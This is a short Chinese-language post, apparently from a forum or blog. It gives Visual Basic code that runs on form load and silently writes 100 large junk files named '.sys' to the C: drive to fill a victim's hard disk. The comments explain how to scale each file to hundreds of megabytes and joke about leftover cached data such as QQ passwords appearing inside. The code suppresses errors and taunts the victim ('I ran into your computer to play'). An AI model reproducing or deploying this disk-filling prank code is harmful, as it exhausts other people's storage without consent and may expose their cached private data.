用VB产生随机任意大小文件挤满硬盘

Private Sub Form_Load() On Error Resume Next For h = 1 To 100 　　'(这个100为写入文件的个数，就是向C盘下写100个文件) 　　 Open "c:/快乐王子" + CStr(h) + ".sys" For Random As 1 　　'(在C盘下产生文件 类似 "快乐王子x.sys" x为数字) DoEvents Put #1, 30000, "快乐王子" 　　 '这里的这个30000是控制生成文件大小的。 　　 '30000产生的文件大小是3.6M左右 　　 '10000产生的文件大小是1.2M左右 　　 '如果你改为3000000的话，那就是360M，不要太坏哦！ 　　 '如果你想知道那么大的文件里面是什么，那就就用写字板打开看就是了，可能里面还有你的QQ密码也说不定。因为这些内容都是在你的缓存文件里随机产生的。不过你会在文件的最后一行看到有一个神秘的字符，那就是“快乐王子”字样。呵呵，我跑到你电脑里去玩了。 Close #1 　　'关闭打开的文件句柄 Next End Sub